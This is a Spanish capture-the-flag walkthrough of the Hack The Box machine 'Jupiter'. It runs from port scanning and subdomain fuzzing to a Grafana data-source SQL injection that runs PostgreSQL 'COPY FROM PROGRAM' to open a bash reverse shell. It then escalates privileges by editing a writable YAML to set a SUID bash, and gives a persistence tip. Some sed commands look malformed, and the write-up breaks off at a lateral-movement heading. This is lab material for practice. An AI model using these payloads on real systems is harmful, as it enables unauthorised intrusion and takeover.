Jupiter

namp

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.216 -oG allPorts
sudo: unable to resolve host kali: Name or service not known
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 02:57 CEST
Initiating SYN Stealth Scan at 02:57
Scanning 10.10.11.216 [65535 ports]
Discovered open port 80/tcp on 10.10.11.216
Discovered open port 22/tcp on 10.10.11.216
Completed SYN Stealth Scan at 02:58, 12.92s elapsed (65535 total ports)
Nmap scan report for 10.10.11.216
Host is up, received user-set (0.066s latency).
Scanned at 2023-06-17 02:57:58 CEST for 13s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds
           Raw packets sent: 67555 (2.972MB) | Rcvd: 67555 (2.702MB)
```

```
 nmap -p22,80 -sCV 10.10.11.216 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 02:58 CEST
Nmap scan report for 10.10.11.216
Host is up (0.057s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA)
|_  256 6001d7db927b13f0ba20c6c900a71b41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds
```

fuzzing

Si realizamos un *fuzzing* para descubrir rutas no encontraremos nada interesante, pero si lo hacemos para posibles subdominios descubrimos que existe **kiosk.jupiter.htb**.

```
wfuzz -c --hc=404 --hh=178 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host:FUZZ.jupiter.htb"
http://jupiter.htb

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://jupiter.htb/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000007:   400        7 L      12 W       166 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000009:   400        7 L      12 W       166 Ch      "# Suite 300, San Francisco, California, 94105, USA."
000013173:   200        211 L    798 W      34390 Ch    "kiosk"
000162619:   200        211 L    798 W      34390 Ch    "Kiosk"
```

Esta sería la página principal del subdominio y se trata de un Grafana. Para el que no conozca, Grafana es un software libre vía web que permite la visualización y el formato de datos métricos.

```
#echo “kiosk .jupiter.htb” >> /etc/hosts
```

Grafana dispone de una API, interesante ya que normalmente se suele recabar bastante información. (Data Source API)

Si realizamos una petición a /api/datasources obtendremos lo siguiente:

https://grafana.com/docs/grafana/latest/developers/http_api/data_source/

http://kiosk.jupiter.htb/api/datasources

```
0
id       1
uid      "YltSLg-Vz"
orgId    1
name          "PostgreSQL"
type     "postgres"
typeName   "PostgreSQL"
typeLogoUrl        "public/app/plugins/datasource/postgres/img/postgresql_logo.svg"
access        "proxy"
url      "localhost:5432"
user    "grafana_viewer"
database      ""
basicAuth     false
isDefault     true
jsonData
database      "moon_namesdb"
sslmode       "disable"
readOnly      false
```

#Usaremos parte del código de grafana.

```
Query a data source
Queries a data source having a backend implementation.

POST /api/ds/query

Note: Grafana’s built-in data sources usually have a backend implementation.
Example request for the Test data source:

POST /api/ds/query HTTP/1.1
Accept: application/json
Content-Type: application/json

{
   "queries":[
      {
         "refId":"A",
         "scenarioId":"csv_metric_values",
         "datasource":{
            "uid":"PD8C576611E62080A"
         },
         "format": "table"
         "maxDataPoints":1848,
         "intervalMs":200,
         "stringInput":"1,20,90,30,5,0",
      }
   ],
   "from":"now-5m",
   "to":"now"
}
```

Si seguimos buscando por la página oficial de Grafana descubriremos que en la ruta /api/ds/query se pueden realizar peticiones mediante POST y enviar según que información que ya hemos obtenido.

Mediante **Burpsuite** interceptamos la petición y añadimos la información siguiendo el esquema de la foto anterior. Intentamos realizar un SQLI to RCE, nos intentamos enviarnos un ping y nos llega la petición satisfactoriamente, así que lo siguiente será entablarnos una *reverse shell*.

```
#Cojemos el uid: YItSLg-Vz
```

intrusion

```
POST /api/ds/query HTTP/1.1

Accept: application/json

Content-Type: application/json

Content-Length: 355



{

   "queries":[

      {

         "refId":"A",

         "scenarioId":"csv_metric_values",

         "datasource":{

            "uid":"YItSLg-Vz",

        "type": "postgres"

         },

"rawSql": "CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.16.50/4444
0>&1\"'",

         "format": "table",

"datasourceId":1,

         "maxDataPoints":60000,

         "intervalMs":940,

               }

   ],

   "from":"now-5m",

   "to":"now"

}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~client
nc -nvlp 4444
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request



{"queries":[{"refId":"","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i
>& /dev/tcp/10.10.16.50/4444 0>&1\"'","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":
{"from":"2023-06-19T11:12:39.362Z","to":"2023-06-19T17:12:39.362Z","raw":
{"from":"now-6h","to":"now"}},"from":"1687173159362","to":"1687194759362"}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~nc
listening on [any] 4444 ...
connect to [10.10.16.50] from (UNKNOWN) [10.10.11.216] 53496
bash: cannot set terminal process group (128774): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
postgres@jupiter:/var/lib/postgresql/14/main$ whoami
whoami
postgres
```

priv_escalation

Si vamos a la raíz del sistema nos damos cuenta de que la carpeta *dev* no es una carpeta común.

```
postgres@jupiter:/$ ls
ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
```

En una de las muchas carpetas descubrimos este archivo YAML bastante interesante, ya que lo podemos editar y ejecuta diferentes herramientas del sistema.

```
cd shm
cd shm
postgres@jupiter:/dev/shm$ cat network-simulation.yml
cat network-simulation.yml
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s
```

Nos descargamos *pspy* desde nuestra máquina de atacante.

pspy

```
wget http://10.10.14.40/pspy32
chmod +x pspy32
./pspy32

ps -aufx | grep network-simulation
<tgresql/14/main$ ps -aufx | grep network-simulation
postgres  143374  0.0  0.0   6608  2320 ?        S    17:34   0:00                  \_ grep network-simulation
```

Creamos un archivo en la ruta /dev/shm, añadimos el siguiente contenido y le damos permisos de ejecuciónn

```
cd /dev/shm/

echo “bash -c 'bash -i >& /dev/tcp/10.10.16.50/4445 0>&1'” > shell.sh

chmod +x shell.sh
```

Editamos el network-simulation.yml y aĆ±adimos lo siguiente

```
file: /dev/shm/network-simulation.yml

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~replace
    - path: /usr/bin/curl
    args: -s server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~with
    - path: /usr/bin/chmod
    args: u+s /tmp/bash

sed -i ‘path: /usr/bin/curl/c\path : /usr/bin/chmod’ /dev/shm/network-simulation.yml
sed -i '/args: -s server/c\args: u+s /tmp/bash' /dev/shm/network-simulation.yml


    sed -i ‘/usr/bin/curl/c\/usr/bin/chmod' /dev/shm/network-simulation.yml
        sed -i '/-s server/c\u+s /tmp/bash' /dev/shm/network-simulation.yml



    echo “client:     network_node_id: 0     quantity: 3     processes:     - path: /usr/bin/chmod       args: u+s /tmp/
bash       start_time: 5s” >> /dev/shm/network-simulation.yml


echo " client2:
     network_node_id: 0
     quantity: 3
     processes:
        - path: /usr/bin/chmod
           args: u+s /tmp/bash
                        start_time: 5s" >> /dev/shm/network-simulation.yml

#Go to /tmp

cd /tmp
ls -l bash
-rwsr-xr-x 1 juno juno 1396520 Jun 19 15:32 bash
./bash -p
whoami
juno
```

TIP: Para tener mejor consola recomiendo, descargar el id_rsa.pub en la máquina y cambiarle el nombre a authorized_keys para así obtener persistencia.

movimiento_lateral

Movimiento lateral (Juno -> Jovian)